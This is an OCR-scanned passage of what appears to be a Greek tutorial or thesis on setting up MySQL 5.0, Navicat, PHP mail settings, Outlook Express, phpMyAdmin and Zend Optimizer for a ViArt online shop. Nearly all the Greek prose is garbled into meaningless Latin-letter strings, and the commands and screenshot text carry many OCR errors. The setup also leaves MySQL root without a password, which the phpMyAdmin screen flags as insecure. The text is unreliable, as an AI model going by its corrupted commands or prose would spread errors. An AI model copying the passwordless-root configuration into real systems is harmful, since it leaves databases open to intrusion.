The Setup Wizard will install MySQL Server 5.0 release 5.0.45
on your computer, To continue, dick Mext,

WARMING: This program is protected by copyright law,

MySCoil

< Back [ Mext = ] [ Cancel

Ewcova 16: emiéyovue to kovurni next.

i MySOL Server 5.0 - Setup Wizard

Setup Type
Choose the setup type that best suits your needs.

m X

Please select a setup type.
(¥ Typical
— Common program features will be installed. Recommended for
" ! oi ) general use.
() Complete
- All program features wil be installed. (Requires the most disk
" space.)
[y '
() Custom
o Choose which program features you want installed and where they
L - will be installed. Recommended for advanced users.
[ < Back ][ Mext = ] [ Cancel ]

Ewcova 17: emiéyovue Typical kou motdue to kovumi next.
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i MyS0L Server 5.0 - Setup Wizard

Change Current Destination Folder
Browse to the destination folder,

Look in;

£ MySQL Server 5.0 w 5

Eolder name:

|C: mysgl

Ok ] [ Cancel

Ewcova 18: aro C:\mysql.

i MyS0OL Server 5.0 - Setup Wizard

Custom Setup
Select the program features you want installed.

Click on an icon in the list below to change how a feature is installed.

— Feature Description
Client Programs Installs the MySQL-server
My30L Instance Manager
Documentation
Developer Components

executables,

[+
Lol

[+
»
.

This feature requires 46MB on
your hard drive,

Install to:

ciyed

[ < Back H Mext = ] [ Cancel ]

Ewcova 19: emléyovue t0 Kovumi next koi 1 EYKATAOTOON

oAoKANpaVETAL ETITLYAG.

30



>m ovvégew avoiyovpe éva cmd mopdBvpo Kol TANKTPOAOYOVUE TIG
TOPOKAT® EVTOAEG:
cd c:\mysql\bin

mysqld-nt—console

[Mapapodpe unvopato 6mmg g ewovag 20:

C:AWINDOWS\system32\cmd.exe - mysqld-nt --console

C:mysglrcd hin

C:wmysglibin?mysgld—nt ——console
InnoDB: The first specified data file .“ibhdatal did not exist:
: a new database to be created?
16:18:47 InnoDB: Setting file .“ibdatal size to 1@ MB
: Database physically writes the file full: wait...
16:18:47 InnoDB: Log file .“ibh_logfile® did not exist: new to he created

: Setting log file .“ib_logfile® size to 5 MB
: Database physically writes the file full: wait...
16:18:47 InnoDB: Log file .“ih_logfilel did not exist: new to he created

: Setting log file .“ib_logfilel size to 5 MB

: Database physically writes the file full: wait...

: Doublewrite buffer not found: creating new

: Doublewrite huffer created

: Creating foreign key constraint system tahles
Foreign key constraint system tables created

-16:18:48 InnoDB: Started; log seguence numher B @
16:18:48 [Notel mysgld-nt: ready for connections.
gggignn: ‘5. @.45—community-nt' socket: *' port: 33086 MySQL Community Edition

Ewxcova 20: console commands.

Avotyovpe akopa éva cmd mopdbupo yopig OGS va KAEIcoVE aLTO TOL 1O
gyovpe avoifel kot mnyaivovpe oto @drero c:\mysql\bin kot ypdpovpie:

mysql-u root, epeaviCovtal avtd mov deiyvel n ewdva 21,
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= C:\WINDOWS\system32\cmd.exe - mysql -u root

C:wmysglibin>nysgl —u root

Welcome to the MySQL monitor. Commands end with ; or “\g.

Your MySQL connection id iz 4

Server version: 5.8.4%—community-nt MySQL Community Edition (GPL>

Type "help;’ or '“h’ for help. Type *“c’ to clear the huffer.
mysgly _

Eixova 21: console commands.

211 cvvEELd, YPAPOLLLE exit o va Byodpe amd to monitor Tng mysq|l.

[TAnKTpOAOYOULE TIC TOAPOAKAT®D EVIOAES, OGS POIVETOL GTNV EIKOVO, 22

\\WINDOWS\system32\cmd.exe

C:smysglshinimysgl —u root

Welcome to the MySQL monitor. Commands end with ; or M\g.

Your MySQL connection id iz 4

Server version: 5.8._45—community—nt MySQL Community Edition <GPL>
Type ‘help;’ or '“h’ for help. Type '“c’ to clear the huffer.

myzgl> exit
Bye

C:smysglsbin?mysgladmin —u root shutdown
GC:smysglshin>

Eixova 22: console commands.
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EvtoAéc:

C:\mysql\bin> mysqladmin —u root shutdown

C:\mysql\bin>mysqld —nt —install

er CAWINDOWS\system32\cmd.exe -a E

Service successfully installed.

C:smysgqlsbin?net start mysgl

H uvnnpeoio MySQL Tekiunoe pe enctuxio.

C:wmysglsbin?

Ewcova 23: H vrnpeaio mysql Cexivioe ue emroyio.

Telkaog, agod &ovpe KAieioer koar to dvo cmd mapdabuvpa, avoiyovpe to
httpd.conf kot kévoovpe avalnmon yw tov 6po index.htm . [Tatdpe to F3 yia va Bpet

TOV €MOpEVO Opo Kot pwv to index.htm ko To index.htm.var ypdoovpe index.php .
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B httpd.conf - Znpewspardpio
Bpyeio Enefepyooia Mopgn TpoPodn  Bonfaa

)

]
(=

#
# DirectoryIndex: sets the file that Apache will serve if a directory
# 15 requested.

#

# The index.html.var file (a type-map) is used to deliver content-
# negotiated documents. The Multiviews Option can be used for the
# same purpose, but it is much slower.

D'Il‘P_CtOI‘ Index 1ndex.pnp 1ndex.ntm! index.nhtml.var

#

# AccessFileName: The name of the file to look for in each directory
# for additional configuration directives. See also the Allowoverride
# directive.

#

AccessFileName .htaccess

#

# The following lines prevent .htaccess and .htpasswd files from being
# viewed by web clients

#

<Filesmatch "A\.ht">
order allow,deny
Deny from all

</Filesmatchs

#

# Typesconfig describes where the mime.types file (or equivalent) is
# 1o be foun

#

TypesConfig conf/mime. types

#

# DefaultType is the default MIME type the server will use for a document
# if it cannot otherwise determine one, such as from filename extensions.
# If your server contains mostly text or HTML documents, "text/plain” is
# a good value. If most of your content is binary, such as applications
# or images, you may want to use "application/octet-stream” instead to

# keep browsers from trying to display binary files as though they are

# text.

#

DefaultType text/plain

#
# The mod_mime_magic module allows the server to use various hints from the

< |

| %

| >

54

Ewcova 24: opyeio httpd.conf .
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2.6 Eykatdotaon ko onuovpyio Baong ocoopéveov pe 1o Navicat

MySql

Extelolpe 10 apyeio navicat8lite mysql en.exe kot axolovBovue ta €€1g Pripata

OTMG TEPTYPAPOVTOL GTIG TOPUKAT® EIKOVEC,

€4 Setup - PremiumSoft Navicat 8.0 Lite for MySQL z||ﬁ|[g|

Welcome to the PremiumSoft
Navicat 8.0 Lite for MySQL Setup

Wizard
- w This will install PremiumSoft Navicat 8.0 Lite for MySGL an your
Na"ﬂfat computer.

The Ga to MySQL
it is recommended that you close all other applications before
continuing.

Click Mext to continue, or Cancel to exit Setup.

Copyright @ 2007
Premium Soft CyberTech Lid.
Al rights reserved.

[ Mext = ][ Cancel ]

Ewcova 25: Iataw 1o mAnktpo next o€ OAES TIC TEPITTMOELS Kal 101

oAoxAnpaverar n eyxatooracn Tov.
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&4 Setup - PremiumSoft Navicat 8.0 Lite for MySQL

The ﬁlﬁw

Copyright 2 2007

Al rights reserved.

Premium Soft CyberTech Ltd.

Completing the PremiumSoft
Navicat 8.0 Lite for MySQL Setup
Wizard

Setup has finished instaling PremiumSoft Navicat 8.0 Lite for
MySGL on your computer. The application may be launched by
selecting the installed icons.

Click Finish to exdt Setup.

Eiwxova 26: setup.

Mo ™ dnovpyia pag faong dedopévav Ba mpénet va eTidEovpe TpOTU Lo

ovvdeon. Avoilyovue 10 mpdypappo Navicat MySql mov elyape mponyovuévmg

EYKOTAOTNOEL KOl EMAEYOVHE connection.
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€ Navicat 8 Lite for MySQL

File View Tools Window Help

i &

Connection Manage Users

8 ©

Table View Stored Procedure Event

Connections 4 OpenTable -4 Design Table _agh New Table

Ewcova 27: Navicat 8 lite for MySql.
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% [Connection]

General |Advanced | SsL [ ssH [ HTTR |

Connection Name: | |

Host name/IF address: |Iumlhust |

User name: root
Password:

L3
- | ) Connection Successful

L Test Connection J [ OK ][ Cancel ]

Ewcova 28: O éleyyog g advoeans eivou emitoyng, emiiéyovue OK

Kol 1 o0VOean HOS Exel TPoatebel oty Aloto TV GvVIECEWV GTO

aPIOTEPD UEPOS THG EPOPHUOYHG.
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€ Navicat 8 Lite for MySOL =13

File View Tools Window Help
i a ==
[ St — ; i >
Connection Manage Lsers Table View Stored Procedure Event Query All
Connections
B {oio |
<[] information_schema
L mysal
) test
3Databases }:‘E[Iocalhost User: root
=

Ewcova 29: ot onuiovpyio uiog faons oeoousvaov kavovue 0eét
Kk oty obvoean kou emiléyovue New Database. Aivovue to ovouo
mov emBvuovue va Eyer n Paon pag, emieyovue OK kair étor

onNuIovPYEITAL UL, KEVH apyiKa Baon.
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€ Navicat 8 Lite for MySQL M=1E3

File View Tools Window Help
—

i 02 &« 346
Connection Manage Users Table View Stored Procedure Event Query Al
Connections ! 4l New Table
2 & localhost ] CHARACTER_SETS

=8 71 COLLATION_CHARACTER_SET_APPLICABILITY
:31 Tables TlcoLLATIONS
am Views 1 COLUMN_PRIVILEGES
Ej Stored Procedures “lcolumis
gl Events TIKEY_COLUMN_USAGE
.8 m} sqlue”es TIPROFILING
ved ZIROUTINES
] Tables
= 1 SCHEMA_PRIVILEGES
= Views =
[ Stored Procedures _,_]SCHEMATA
j Events STATISTICS
=) Queries I TABLE_CONSTRAINTS
= test I TABLE_PRIVILEGES
7] Tables TITABLES
2 views T TRIGGERS
[ Stored Procedures T1USER_PRIVILEGES
j Events Flvews
ﬂ Queries
17 Tables /Zlocalhost User: root Database: information_schema

Ewcova 30: Ortikn ameikovion twv fAoe@v 0e00UEVOV.

2.7 Eykatrdotacn too SMTP Server

O SMTP Server givat évag Server 0 omoiog emTPEMEL TNV EMKOVOVia LEG® e-mail
neta&d Tov Niektpovikov kataotiuatog ViArt Free Shop kat tov meddtn.

IMa va to kévoovpe avtd, o SMTP Server Oa mpémel va dStopopewBel KataAAnAa,
Eexvavtag amod to apyeio php.ini 1o onolo PBpiokeror oto pakero C:\php.

Avolntoope péoa oto apyeio php.ini | @pdon  [mail function]. Onwg

TOPATNPOVUE, TEPLEYEL TIG EENG EVTOAEC:
[mail function]
; For Win32 only

SMTP= localhost
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; For Win32 only

Sendmail from= me@localhost.com

e auto 10 onuelo, Ba ypelactel va aAhdEovpe ) AEEN localhost aviikabioTtdvTOg
v étol wote va avagépetar oto SMTP Server kot 610 email Aoyaplacpd pog, 6Tmg

mopatnpovue otnv ekéva 31.

[l php.ini - Znpewpatapio Q@

Apyzio Engfzpyacia Mopgr Mpofohr Bonbaa

;Please note that if you set this value to a high number you may consume all A
;the available process stack and eventually crash PHP (due to reaching the B
;stack size 1imit imposed by the Operating System).

;pere. recursion_1imit=100000

[sysTog]
: whetﬁer or not to define the various syslog variables (e.g. $LOG_PID,
; SLOG_CRON, etc.). Turning it off is a good idea performance-wise. In

; runtime, you can define tﬁese variables by calling define_syslog_variables().
define_syslog_variables = off

; For Unix only. You may supply arguments as well (default: "sendmail -t -i").
;sendmail_path =

; Force the addition of the specified parameters to be passed as extra parameters
; to the sendmail binary. These parameters will always replace the value of

; the 5th parameter to mail(), even in safe mode.

;mail. force_extra_parameters =

[saL]
sgl.safe_mode = off

[oDBC]

vodbe. default_db
yodbe. default_user
;odbe. default_pw

Not yet implemented
Not yet implemented
Not yet implemented

; Allow or prevent persistent Tinks.
odbc. allow_persistent = on

; Check that a connection is still valid before reuse.

odbc. check_persistent = On

b
3
E—

<
Ewcova 31: apyeio php.ini .

Onwg mopatnpovpe cav host €govpe opicel tov smtp-auth.forthnet.gr o omoiog
etvar o SMTP server tng FORTHnet. Zav username divovpe 1o email mwov £yovpe
OTOV GUYKEKPLLEVO Server.

TeMkdg, amodnkedovpe T1G AAAAYES Kot KAVOLLLE ETaveKKivon otov Apache

Server pog.
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mailto:me@localhost.com

[Ipoxeywévovr va  ypnowomomcoovpe v  vanpecioc SMTP,

dnuovpyncovpe éva Aoyaprooud oto Outlook Express 6.0.

Axolovbovpe Ta TapakdTo Priparto:

e Avoiyovpe to Outlook Express 6.0

Qutlook Express.

3
Eipeon pnviparog...  Tautémreg v

i Apydo EneEepyadia  MpoPokry [§nfoGeM Mivupa  Boffea
Anoorold ka A 3
. IJ-J i @ 3 . n ; ‘;LU"\
: tnuoupyia Anoorohf... e
| suyxpoviopic parehou
oachn x| BBNo BeuBivozwv. Crl4shift+8
] Outlook Express n u 7 :
2 G Tonkoi pakehor Kavvec i
+ () Eoepyopeva
@ EEspyyeva Windows Messenger »
B Ansorahpivo  Kardar & ’
(@ baypopeva Aoyapiaouo...
B} Mpoyepa EmAoyeg... AnAoypapiag oTa Eigepybusva
T i Sa it Gk i
Aviyvoon ahhnhoypapiog
0Opadzg ouliitnang
Eykardoraon hoyapiaouel ouaduwy gulfimenc...
Eoooe v X
, x . Enapic
Bzv UndpxoUV ZNOPEG NPOG EUPEVITT,
Kavre khik aTo koupni "Enapéc” yia va
OnuioupyoETE W véa Enag. Avoiypo Tou BiBAiou BieuBlvoswy...
] AvaliTnon aTépwy...
™ Kara mv exkivnon Tou Outlook Express, dpzon perdBaan oro paxzhe "Eiozpydpzva’.
PuBilel g napapETpoug Twv Aoyapioopiy oag.

MetaPaon ozmsn“—

ZupBoulr Tng nuépag X

Mia TauToTrTe GuioupyEiTa ano
NPOEMOYR YIR TO NPGTO GTOUD
nou gpnaponoie To Qutlook
Express.

Mo vo ensfepyaoTaite aut
0NoIGANATE THUTATATY, KAYTE KhiK
oTo pevol Apgeio, KavTs khik
aTny ev¥Tohh TUUTOTNTEG Kal oTn

GUVEKEIG KUYTE KAIK OTNY E¥TOAR
AuxEipion TauToTHTWY,

Ewcova 32: onuiovpyia Aoyoapiaouot aro Outlook Express 6.0.

e Emiéyovue Epyoieia ka1 Aoyapraopol

Aoyapiaopoi Internet

Ohec | Alnhoypagia |E|.|Cn'rﬁcra¢; Ynnpeoia karahdyou

Moyopiagudg

L= popper forthnet gr

Tdnoc 2lvbean
aidnhoypagia.. OnowviinoTte Gofémpuo

JaemTES I
Booyuny... I
ESayuwyri... I

Kiei oo l

Eicova 33: onuiovpyia Aoyapioouov aro Outlook Express 6.0.

TPEMEL VOl
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e Emiléyovpe v xaptéia AAAnAoypaoio, TOV AOYOPlAGUd OV £YOVUE

pe v Forthnet kot matdpe [016tnTec.

¥= Idi6tnTeg: popper.forthnet.gr

Fevwd | AOHOWOTES |E|_'n.r-55cn'| Aopdhaa | Na npoxwpnuevoug

Mnpogople; HamopoT

0 BLoMopLOTC BLOEpXAUEWIC aiinioypogiac sival Slakoomic

Eioepéyuewn alinloypagia (FOP3);  |Popperforthnet.gr |

Efepxépewn alnloypagia (SMTP): |sn1t|:|-al.rth.f|:|rthnet.gr |
fyaropomg eoepxipen g alinloypapiag

Uhwvopa Aoyapiaouod: |arisale:-:ia.ath forthnet.ar |

Kifimdc npdopaonc: |-||-|-|- |

Lnoprenpdveuan wwdol npdofaanc
[ ] Ziwieon pe aowal] Sheyxo TaUTOTTAC péow Kwdkol npdopaonc

Daxopomic elepxdpewnc alinloypapiag

AnaTeiTal E\eyoC TOUTAOTNTOC and To SlaKoLLOTT

[ ok [ mum || foonon

Eicova 34: onuiovpyia Aoyapioouot aro Outlook Express 6.0.

e Eméyovpe v KopTéAa OLOKOUIGTES, GUUTANPOVOVLE GTNV KOPTEAL
Ewoepyouevn adintoypaeio (POP3) pe popper.forthnet.gr kot v Koaptéia
E&epyopevn arinroypaeio (SMTP) pe smtp-auth.forthnet.gr. vuminpovovue
TO OVOpO AOYOpLOGHOD Kol To password, Toekdpovpe To: Amatteitor EAeyy0g

amd To S10KOUIOTY| Kol TaTdpe To Kovumi PvBuiocers.

43



Aakopnotng efepxopevng aAAnioypapiag

ZTolxEia oivieanc
%) ¥prjon Twv pubuloewy Tow oo o BloepxdpEVnc adnloypaiac

(O Zovdeon pe

Lok ][ e |

Ewcova 35: onuiovpyio Aoyapioouod aro Outlook Express 6.0.

e Emiéyovpe Xprion tov pubuicemv Tov JOKOUIGTH EIGEPYOUEVNS

aAnAoypagiog Kot matdpe to kovuni OK.

*= IdiotnTeg: popper.forthnet.gr

Feward | MaxouoTeEg |E|_'n.n5E:u1'| || Aogpdiaa || Na rp:xumu-&':muq|

Mnpogopieg &amopuoT
0 SLokoLL oS BloEpXSpEVTC amloypowiac eival Sakopomic

Bioepxdpewn aldnhoypapia (FOP3): ||:ID|:l|:Ier.f|:|rthnet.gr |

ELepwdpewn alnioypagia (SMTP): |Sn1t|:|-auth forthnet gr |

A avopuoTrig e1oeprdpennc alinfoypagpiag
Crvopa Moyapiaguod: |arisale:-:ia.ath forthnet gr |
Kwdidc npoofaonc: |-------- |

Anopvnudveuon kwdiol npoofaong
[] Ziviezon pe aopal Sheyxo TAUTETTAC péow kwduod npdopfaonc

Maropomg eteprdpevnc alinloypaeiag

AnaTeiTal EMEYXOC TOUTOTNTAC QOnd TO &L aroLLOTT

I OK H Mupo ] Eqapuoyn)

Ewcova 36: onuiovpyio Aoyapiocuod aro Outlook Express 6.0.

e Emiéyovpue OK.
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Aoyapiaopoi Internet

Dlec | AMnlovpasia | Sulymioee | Yapesia karaléyou| Moot |
Moyapiaoudg Tinog Hivbean [ Kardpynan ]
SRyt alnfoypapia..  Onowovénnote Sabeopo [ e I
[ Booyuny... I
[ ESayuwyri... I
[ Kiel oo |

Ewcova 37: onuiovpyia Aoyapioouot aro Outlook Express 6.0.

e Emiéyovpe Kieiowo.

2.8 Eykatdaotaon ™ PhpMyAdmin

"Exovpe ypnoiponomost v ékdoor [phpMyAdmin-2.6.4-pl4].
>10 @dxelo C:/apache tomoBetodpe to Pdkero g phpMyAdmin-2.6.4-pl4 ko
TANKTPOAOYOVLLE GTOV browser Lo

http://localhost/PhpMyAdmin-2.6.4-pl4/

KO TOPOTNPOVUE TN TOPUKAT® GEAS TOV TEPLYpAPETAL GTNV E1IKOVA32.
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http://localhost/PhpMyAdmin-2.6.4-pl4/

(= localhost / localhost | phpMyAdmin 2.6.4-pl4 - Windows Internet Explorer |

@' )+ | &) httpflocalhostiphphpadmin-2.6.4-pl4 ¥ |4 X
Apxzio  Enetzpyagia MpoPod  Avamuéva  Epyahsia  BofBao
2 G | ocabost locabost | phptyAcnia 26 40l4 | f- B & - [ - e

KuAworpBare oto phpMyAdmin 2.6.4-pl4

H MySQL 5.0.45-community-nt exteAsial oov localhost @ root@localhost
phplizAdmin

_ php
AEE
Baon: MysSQL phpMyAdmin
(Baoa AcBopévev) ... v| 't Anpoupyia véag Baong & Language @: | Greek (el-ut-8) v
Collation | |_Anproupyia Ter opaxTiipwy TG MySQL: UTF-8 Unicode (utf8)
NapakaAe emAEETE pia B Epgavion nAnpopopiv skTEAsang TNG MySQL MySGL connection collation: | utf8_general_i |
Baon dedopivav 4 o @ = =
Epgavion petaBAqrav g MySQL
@ Theme / Style: | Original v

%y Epgavion dispyaoiay
Character Sets and Collations
E3 storage Engines

P Enovexcivnon Tng MySQL
& Npovépa

1 Baozig Asdopdvav

& Egoyon

& Tekpnpiwen phpMyAdmin

Eppavian ninpopopicv e PHP

&} Enionun aekida Tou phpMyAdmin
[Changelog] [Cvs] [Lists]

To apysio pubpicsiv oag nepiéyer pubpioag (xpioTng root ywpic kwdikd npéoBacnc) nou avrioToyoelv oTov £E' opiopol Aoy apaopd xpijorn MySQL. 0 Sak
MySQL oag nou Tpéxel pe auTi Tn puBpIo, sival avorTag o eniBécei; ka1 Ba npéne va S0 pdmo=sTE To npdPANpa.

8 Local intranet. ® 1

Ewovo 38 : n PhpMyAdmin pog emitpémer vo cioéABoovus wg
OLOYEIPIOTEG KAl VO, OLOYEIPILOUOOTE TIC PAOEIS OEOOUEVWV UOS KOL TO
oeoouévo, tovg, vo. extelovue SQL eviolés kabws kar vo KpaTovue
EQEOPIKN TN ooun Kol T dgdoueva. wov eivar amoOnkevuévo atn MySql

paon dedouévarv.

2.9 Eykatdaoctaon tov Zend Optimizer

Ti eivonr to Zend Optimizer kol yoti YpPNGYLOTOIEITOL GTO MAEKTPOVIKO LOG
KOTAGTN O

Mepikd apyeio tov Viart éyovv emeepyootel €0KA pe HoL EQOPUOYN 1 Oomoia
KaAeitol Kodikomomg Zend. Avtd ta apyeia 0ev PITOpovV Vo EKTELEGTOVV YOPIg Vo
EYOVLE EYKATOOTNOEL KOU OLOLUOPPDOCEL KOTAAANAO GTO Server HoG TNV €QopUoyn
Zend Optimizer.

To Zend Optimizer unopel vo. AmOKPLTTOYPAPNGEL Kal vo, eKTELEcEL “optimized”
apyeio pe omovdaio Peitiwpévn amddoon Otav cvykpivetar pe ta mpdétvma PHP
apyeia.

To Zend Optimizer propel va pog eEac@aricet ta mopakdtom d00:
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o Béktiotn amddoomn: vmbpyer (o woAd ovvOeTn Kot
e€elnmuévn PHP doun n omola mpoceépet oto Viart ) dvvaun,
™V ToyLTNTO Kot TV evkapyio tov. Otav ekteleiton to Viart,
VILAPYOLVY TOAAEG KOl OTTOVOOIEC EVEPYELEC Ol OMOIEC LETAPEPOVY
Kol OnNuwovpyodV TNV ONTIKY  OmEWOVIon TNV omoio
avtihappavopoacte oto  browser pag. ‘Exovpe avaxoivyer ot
ouvovalovtag Ta apyeia pe to kmdkorom Zend propode ToADd
KOAQ vo  PeAtidcovpe TV TaxOTNTO GTNV  Omoio OLTEG Ol
Aertovpyleg  extelobVTOL Kol  emmALOV  OMUIOLPYOVTAG  Eval
YPNYOPOTEPO XPOVO OMOKPIONG TNG GEMONG HOG KO EMTAEOV Eval
710 AEIOMIGTO NAEKTPOVIKO KOTAGTILLOL.

. Acopdreln: Ta apyeio To omoio kotevBVOVOVTOL OO TO
Viart cvvemayopevo o apyeio To omoio TEPLEYOLV CNUAVTIKY
“TPooTaTELUEVN TANPOQPOPia” Kot To. GAAO apyeio To omoio Oev
elval amopaitnTo 01 TEAATEG TOL MAEKTPOVIKOD KOTAGTNLOTOS VO
gYouv 1Tn OLVOTOTNTO VO TPOTOTOOVV, OTOPPEOLY OMO  TOV

Kodwkomomty Zend.

Iwg Ba eykatactioovpe to Zend Optimizer:
To Zend Optimizer eivar €vo. OAOKANPOUEVO TTAKETO TO OMOI0 UTOPOVUE VO TO

nmpounfevtovpe and To www.zend.com akorlovBmvrog ta €1g Prinara

e Anuwovpyodpe éva Zend Optimizer Aoyoproopd. H

“Zend Optimizer dopedv ékdoon” ceAida avoiyet.

47


http://www.zend.com/

” The PHP Company

Zend & | Support Center ContactUs change % My Account (Signin

Products  Services Downloads Community Resources Pariners Company Store _

Zend Log In

a Enter your username/e-mail address and password below.

Username/Email*

Need help loggingin?

=Did you forget your password?
Password* »Loqin Problems?

Don't have an account? lembership is free and regisiration only takes a few minutes.
Create a Zend account to get access to:

Product Downloads

Zend Monthly Newsletter

Product Announcements

License Alerts

Webinar, Webcasts and other event nolifications

Ewova 39: onuiovpyio Loyopracuod Zend.

e Enmidéyovpe ™ Zend Optimizer £€xdoon mov pHag
efumnpetel 610 OO pOG CVOTNUO KOl OLKAEYOLUE TO

OLYKEKPIUEVO TOKETO.

Products  Services Downloads Community Resources Partners Company Store SEARCH

Downloads Next Steps

Guard / Optimizer

: . .
Zend Guard and Zend Optimizer are the industry leading solution for PHP IP protection.

- ——

Ovenview
Select Release: () Zend Guard va. In-Depth
2
® Zend Optimizerva.3 ‘Which package is right for me? .
Select Zend Optimizer if you only need What's New
aruntime package
packe Resources

Select Package: |Windows 186 (EXE) 8.31MB|333 v —

System Requirements

Zend Optimizer

Ewcova 40: emiéyovue v ékdoon Zend Optimizer v3.3 .

e AmoOnkevovue to Opyeio oTo EMAEYHEVO Oomd EUAG

TPOOPICUO GTO GUGTNLLOL LLOG.
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” The PHP Company

Zend E | Support Center Contact Us change & My Account | Sign out

Products Services Downloads Community Resources Partners Company  Store I D

Downloads Next Steps

Thank you for downleading Zend Optimizer v3.3
:
Zend Guard and Zend Optimizer are the industry leading selution for PHP IP protection
5 N

Oveniiew

In-Depth
Trouble Downloading?

What's New
Click here to download Zend Optimizery3.3

Zend Optimizer v3.3 Resources Resources
FAQ

System Requirements
X UserGuide
Zend Optimizer

Ewova 41: to Zend Optimizer Eyer omoOnxevtel oto cOOTHUA.

UOG.

INo v eykatdotaon tov Zend Optimizer 6To GOGTNUA LLOG :

o AmAd KAk o1o akéto ZendOptimizer-3.3.3-Windows-

1386.exe
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Zend Optimizer - InstallShield Wizard

Preparing 5etup
Pl wihile the jield Wizard prepare

Instalifiield l Cancel r

Eixova 42: Install Shield Wizard.

e AxolovBovue TIC 0dMyieg OmM®G TMEPLYPAPOVIOL OTIG

TOPAKATO EKOVES:
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Zend Optimizer - InstallShield Wizard

Welcome to the InstallShield Wizard for Zend Optimizer - 3.3.0

rd will ingkall Zend O ptimizer 0 on your computer.

. Tocontinue, click

Cancel

Eixovo 42: Install Shield Wizard.
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Zend Optimizer - InstallShield Wizard

ZendOptimizer-3.3.0 Licensze Agreement

ZEND LICEMSE AGREEMENMT
Zend Dptimizer

ZEND TECHNOLOGIES LTD. 'ZEND") SOFTWARE LICENSE AGREEMENT
["AGREEMENT")

IMPORTANT: READ THESE TERMS CAREFULLY BEFORE INSTALLING THE
SOFTWARE KMOWM A5 THE "ZEND OPTIMIZER," AS INSTALLED BY THIS
IMSTALLATION PROCESS, IN MACHINE-EXECUTABLE FORM ONLY, AND ANY
RELATED DOCUMENTATION [COLLECTIVELY, THE "SOFTWARE"] BY INSTALLING, OR
OTHERWISE USING THIS SOFTWARE, Y0U (THE "LICENSEE") ACKNOWLEDGE THAT
YOl HAVE READ THIS AGREEMENT, AND THAT YOU AGREE TO BE BOUND BY ITS
TERM3S AND COMDITIONS. IF vOU DO NOT AGREE TOALL OF THE TERMS AND
COMDITIONS OF THIS AGREEMENT, v0OU ARE NOT &M AUTHORIZED USER OF THE
SOFTWARE AND IT 15 YOUR RESPONSIBILITY TO EXIT THIS IMSTALLATION
PROGRAM W/ITHOUT INSTALLING THE SOFTWARE, OR TO DELETE THE SOFTwWARE
FROM YOUR COMPUTER.

1. License. Subject to the terms and conditions of this Agreement, including, withat limitation,
Section 2 hereof, Zend hereby grants to Licensee, during the Term [az defined below), a
limited, & non-exclusive license [the "License'] ta: [i] insta_ll anhd aperate the Sof_tware ana v

Q| accept the b

’ | da rak nt the

InstaliGhiald ‘ ¢ Back ” Mest » . [ Cancel .

Eixova 43 Install Shield Wizard.



Lend Optimizer - InstallShield Wizard

Chooze Destination Folder

or folder for ZendCiptin

InnstaalISfield

Eiwxovo 44: Install Shield Wizard.
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{end Optimizer - InstallShield Wizard

Choosing Web server

InnsteadSffieid

Ewxovo 45: Install Shield Wizard.
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Zend Optimizer - InstallShield Wizard

Choose the php.ini folder

InstallShield [ < Back H

Braowse...

Caniel

Eixovo 46: Install Shield Wizard.
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Zend Optimizer - InstallShield Wizard

Choosze the Web zerver's root folder

InnstaalISfield

Browse...

Caniel

Eixova 47: Install Shield Wizard.
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Zend Optimizer - InstallShield Wizard

Pre-Install 5ummary

Istaliiald

Ewcova 48: Install Shield Wizard, verify information.
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Zend Optimizer - InstallShield Wizard

Setup Status

Zend Optimize 0 iz configuring your

invstallation.

InstallSHd

Eixova 49: Install Shield Wizard.
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Zend Optimizer - InstallShield Wizard

InstallS hield Wizard Complete

Setup he :talling Zend0phin wour computer.

eadme Mow

| cBack H Finh |

Eixova 50: Install Shield Wizard.

Téhog, yio va emPefardoovpe av 1o Zend Optimizer €xel eykataotodel
EMTLYDG, UTOPOVUE Vo TO EAEYEOVIE GTO server PG, EKTEADVTOG To apyeio test.php
70 omoio vrevOvuilove OTL TEPIEXEL TNV EVTOAN:

<? Php Phpinfo () ;7>

Kot gpoaviCetor n ewcdva 46:
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/Z php

(¢

Mpydo Ensispvasia MpoBoli  Ayampive Epyahda  Boffma

) - Windows Internet Explorer

[l nttps:fcaosttest php PN

i dr | @ = fr- B & - -

Server API Apache 2.0 Handler
Virtual Directory Support enabled
Configuration File (phpini) | C:WINDOWS

Path

Loaded C tion File C\php\php.ini
PHP API 20041225
PHP Extension 20060613
Zend Extension 220060519
Debug Build no

Thread Safety enabled
Zend Memory Manager enabled

1PV6 Support enabled

Registered PHP Streams php, file, data, htp, fip, compress zlib, hitps, fips
Registered Stream Socket tep, udp, ssl, ssiv3, sshv, s

Transports
Registered Stream Filters converticonv., string.rot13, string.toupper, string.tolower, string.strip_tags,
convert®, consumed, zlib.*
This program makes use of the Zend Scripting Language Engine: Ponverad By
Zend Engine v2.2.0, Copyright (c) 1998-2007 Zend Technologies
with Zend Extension Managerv1.2.0, Copyright (c} 2003-2007, by Zend Technolegies u

with Zend Optimizerv3.3.3, Copyright (c) 1998-2007, by Zend Technologies

PHP Credits

Configuration

& Local intranet

Ewova 51: apyeio test.php .

INo va evepyomomcovpe to Zend Optimizer TPEMeEL VoL YPCLOTOMGOVLE TIG

ocwotég pubuioelg oto c:\apache\bin\php.ini
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ZnpelepaTaplo

Apyeio Enckepyacia  Mopor TMpoPokr BorBaa

; Tell the jpeg decode to 11b1pe warnings and try to create A
; a gd image. The warning will then be displayed as notices

; disabled by default

;gd. jpeg_ignore_warning = 0

[exif]

; Exif UNICODE user comments are handled as UC5-2BE/UCS-2LE and JIS as JIS

; with mbstring support this will automatically be converted into the encoding
; given by corresponding encode setting. when empty mbstring.internal_esncoding
e
H
H

; 15 used. For the decode settings you can distinguish between motorola and
intel byte order. A decode setting cannot be empty.

;exif. encode_unicode = 150-8859-15

;exif. decode_unicode_motorola = UCS-2BE

;exif. decode_unicode_intel = UC5-2LE

;exif. encode_jis =

;exif.decode_]is_motorola

;exif. decode_jis_intel

JIs
JIs

[Tidy]
; The path to a default tidy confi?uratﬁon file to use when using tidy
;tidy. default_config = /usr/local/Tib/php/default. tcfg

; Should tidy clean and repair output automatically?

; WARNING: Do not use this option if you are generating non-html content
; such as dynamic images

tidy. clean_output = off

[soap]

; Enables or disables wsDL caching feature

soap.wsd]_cache_enabled=1

; Sets the directory name where S0AP extension will put cache files

soap. wsd]_cache_dir="/tmp"

; (time to Tive) sets the number of second while cached file will be used
; instead of original one

soap. wsd]_cache_tt1=86400

; Local variables:
; tab-width: 4
; End:

[zend]

zend_extension_manager.optimizer_ts="C:\Program Files‘\Zend\Zendoptimizer-3.3.0\1ib\optimizer-3.3.0"
zend_extension_ts="C:\Program Fﬁ7es\zend\zendoptﬁmizer—3.3.0\11b€zendExtensionManager.dWW"
